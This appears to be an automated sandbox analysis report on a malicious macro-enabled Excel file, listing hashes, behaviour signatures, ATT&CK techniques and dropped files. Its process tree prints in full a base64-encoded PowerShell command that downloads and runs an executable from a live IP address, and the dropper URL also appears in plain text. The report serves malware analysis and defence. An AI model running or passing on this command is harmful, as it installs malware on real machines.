3d6efe59037f7b5399b5ca0b40fa9ed242894f5be067473ef67c415fdac3fe08

General

Target

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm
Size

14KB
MD5

70820ac2bb527bb0a10747a06d2c2b0b
SHA1

7289b7ddcdcaa9450c27e1579f36d67a544cee80
SHA256

6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753
SHA512

64be67485be70ac5aa2539a88c9846282d7178e13a46895d4686ff0ce79378bf9ed4ee7bec00cb88abc0e2e8bb41a9b9ef38aa4ff25b4e4dc6334a96ad1ee4b5
SSDEEP

384:A0z+vPw85+pkQ1z7fMc+8Pty4jZwENYBp7zMLmh:p+3ZgkKzDMCXjZwENmdKk

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://84.252.122.205/xcx/system.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4304	396	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1908	powershell.exe

Deletes itself 1 IoCs

pid	Process
396	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\CBB75E00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
396	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1908	powershell.exe
1908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1908	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
396	EXCEL.EXE
396	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 4304	396	EXCEL.EXE	84
PID 396 wrote to memory of 4304	396	EXCEL.EXE	84
PID 4304 wrote to memory of 1908	4304	cmd.exe	86
PID 4304 wrote to memory of 1908	4304	cmd.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6ffda0323b69bb875a8360bcdd18b398a463d3de88bb11e6511a3b3bffe5b753.xlsm"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Cxrgbutjpc.bat
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBCAGUAeABzAGMAbwB5AGEAcABhAHIAYwB5AGgAbgBmAHkALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAyAC4AMgAwADUALwB4AGMAeAAvAHMAeQBzAHQAZQBtAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CBB75E00

Filesize
21KB

MD5
37a9a5f09363b1dc454e5b25a6b8987f

SHA1
14a03b0b848ad050ea4695afb675ee12bf0ef356

SHA256
710bd0d11aceee2119bc3fd61bfc20e32e7d3503d864a1d927bfb89670f04e4f

SHA512
ca184538fe75528b9fd2c2fd733653d1d5b0f885f598b4141c70c108dfcb459e1c0e41607abd0896409709f067196dec6583ced5f1fa941c7580271e9761538d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4422an5d.pid.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Bexscoyaparcyhnfy.exe

Filesize
1KB

MD5
ccbd8bf6fbf1c244343b9df87b99667b

SHA1
3d42ddd2295e58f3b6ef449c1a96f01c9e7536d6

SHA256
7405c5446bf82088b1ae0525a11f810d6e78e8dbcc9af03b8fc4e7083c9bd8a4

SHA512
f71a69dc877f7603272264adfced815a5571ded666bf431e0668af2c3abb5ee93f56dfe64cc0f7c9ebe0f2e65a6159b601d20be42b7fdb9f4dcdbfee23fa772e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
9ae67225ac461c1c8f8152b4155d71aa

SHA1
5af72ad52f6aeef3668a90b94ca399fa3b31b744

SHA256
799030b52f65e2c223184be15c593499e8ba8e2e39440118515e3408ff769ea0

SHA512
29ac6ef0a69c65e4f7cda186d2e4cd692853bf9b7944701f7bbb73316357776f0439bd9ce2a871334e7f6d60435b820c34f2fb5e81ffb2ef93b668947844d951

Download Submit
C:\Users\Admin\Documents\Cxrgbutjpc.bat

Filesize
587B

MD5
31814477e987cc1e94638caa7f39f293

SHA1
c3814edcc331117303ced19f53006a4ecd09a833

SHA256
de24fa627ca42edfb1e5b46804f6dd0ed41fbcbd900eeeb56abc5cb34c1cadd4

SHA512
09a06a533d82dc086c345bd1c5ca92b2d582964c963b89e6e0c11c784effe9e4ecfc5e05f2bd3571437a04bead7c2d9fc053bd82538be17a23a473dc949fc268

Download Submit
memory/396-10-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-17-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-1-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

Filesize
4KB

Download
memory/396-8-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-11-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

Filesize
64KB

Download
memory/396-7-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-6-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/396-12-0x00007FFEA2BB0000-0x00007FFEA2BC0000-memory.dmp

Filesize
64KB

Download
memory/396-14-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-16-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-18-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-9-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-13-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-15-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-5-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-45-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-0-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/396-2-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/396-4-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/396-3-0x00007FFEA5130000-0x00007FFEA5140000-memory.dmp

Filesize
64KB

Download
memory/396-118-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/396-119-0x00007FFEE514D000-0x00007FFEE514E000-memory.dmp

Filesize
4KB

Download
memory/396-123-0x00007FFEE50B0000-0x00007FFEE52A5000-memory.dmp

Filesize
2.0MB

Download
memory/1908-87-0x000001687FE40000-0x000001687FE62000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads